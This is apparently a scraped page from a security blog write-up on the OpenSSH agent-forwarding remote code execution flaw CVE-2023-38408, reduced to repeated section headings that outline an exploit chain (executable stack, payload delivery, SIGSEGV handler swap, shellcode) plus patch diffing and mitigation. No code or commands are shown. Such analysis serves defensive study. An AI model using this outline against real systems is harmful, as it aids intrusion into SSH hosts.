Exploitation steps of CVE-2023–38408

Proof of concept

Home lab

THM’s lab

Step 0: Prepare the environment

Step 1: Making the stack executable

Step 2: Delivering the payload

Step 3: Registering a new signal handler for the `SIGSEGV` signal.

Step 4: Replacing the original signal handler routine

Step 5: Triggering `SIGENV`

Step 6: Executing the shellcode

Patch diffing

The previous patch

Patch for CVE-2023–38408

Commit 1: Process termination for invalid PKCS#11 providers

Commit 2: Disallowing remote addition of FIDO/PKCS11 providers by default

Commit 3: Ensuring FIDO/PKCS11 libraries contain expected symbols

Commit 4: Independent helpers for each PKCS#11 module

Mitigation

Final thoughts

Resources

Written by vsociety

No responses yet

Exploring OpenSSH’s Agent Forwarding RCE (CVE-2023–38408)

Screenshots from the blog posts

Summary

Description

Introduction

Disclosure timeline

Affected versions

Impact

Theoretical background

What is OpenSSH’s SSH agent?

How it works?

What is agent forwarding?

How does it work?

Benefits of agent forwarding

Security concerns about agent forwarding

The historical background starring CVE-2016–10009

Exploitation steps of CVE-2023–38408

Proof of concept

Home lab

THM’s lab

Step 0: Prepare the environment

Step 1: Making the stack executable

Step 2: Delivering the payload

Step 3: Registering a new signal handler for the SIGSEGV signal.

Step 4: Replacing the original signal handler routine

Step 5: Triggering SIGENV

Step 6: Executing the shellcode

Patch diffing

The previous patch

Patch for CVE-2023–38408

Commit 1: Process termination for invalid PKCS#11 providers

Commit 2: Disallowing remote addition of FIDO/PKCS11 providers by default

Commit 3: Ensuring FIDO/PKCS11 libraries contain expected symbols

Commit 4: Independent helpers for each PKCS#11 module

Mitigation

Final thoughts

Resources

Written by vsociety

No responses yet

Step 3: Registering a new signal handler for the `SIGSEGV` signal.

Step 5: Triggering `SIGENV`